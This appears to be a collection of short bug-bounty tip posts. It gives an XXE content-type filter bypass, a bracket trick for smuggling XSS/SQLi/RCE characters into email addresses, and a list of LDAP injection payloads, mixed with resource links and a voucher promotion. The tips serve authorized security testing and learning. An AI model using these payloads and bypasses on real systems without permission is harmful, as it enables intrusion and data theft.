A simple bypass for XXE

To avoid XXE Injections, some web applications have custom filters that will block requests which contain "application/xml" Content-Type, to bypass these filters, we can set the Content-Type to wildcard "*/*"

#bugbounty #Infosec #securitytips

QnA : will help Beginners a lot

https://www.youtube.com/watch?v=DgsvUvt18mA

Bug List (Most Commonly Found) 🔥🌵

More Clarity : https://pbs.twimg.com/media/FhVuIKHVsAEKnpD?format=png&name=medium

#bugbounty #Infosec

Bugbounty Tips

Use round brackets to inject XSS / SQLi / RCE payloads in a valid e-mail address.

❌ yourname${}<>'/"*-@domain.com
✅ yourname(${}<>'/"*-)@domain.com
✅ yourname@(${}<>'/"*-)domain.com

#bugbounty #infosec #cybersecurity

Those who wants to purchase Tryhackme voucher.

please go fast

Because I personly request to the seller for discount, for you guys

This offer valid for today { according to IST }

Valid email Payloads 🌵 #bugbounty #infosec
By @intigriti

Check this out :👆

Bug Bounty Tips 😲 #bugbounty #infosec #secuirty

LDAP injection payloads 🔥🔥🔥🔥

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*)
*(|(objectclass=*))
*)(uid=*))(|(uid=*
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

#bugbounty #infosec

_All about bug bounty_ GitHub resource ❤️

These are my bug bounty notes that I have gathered from various sources, you can contribute to this repository too!

Link : https://github.com/daffainfo/AllAboutBugBounty

#bugbounty #bugbountytips #infosec

💥Subdomain Enum Automation Script💥

Download Image : https://raw.githubusercontent.com/tarunKoyalwar/talosplus/main/static/script.png

#bugbounty #infosec #bugbountytips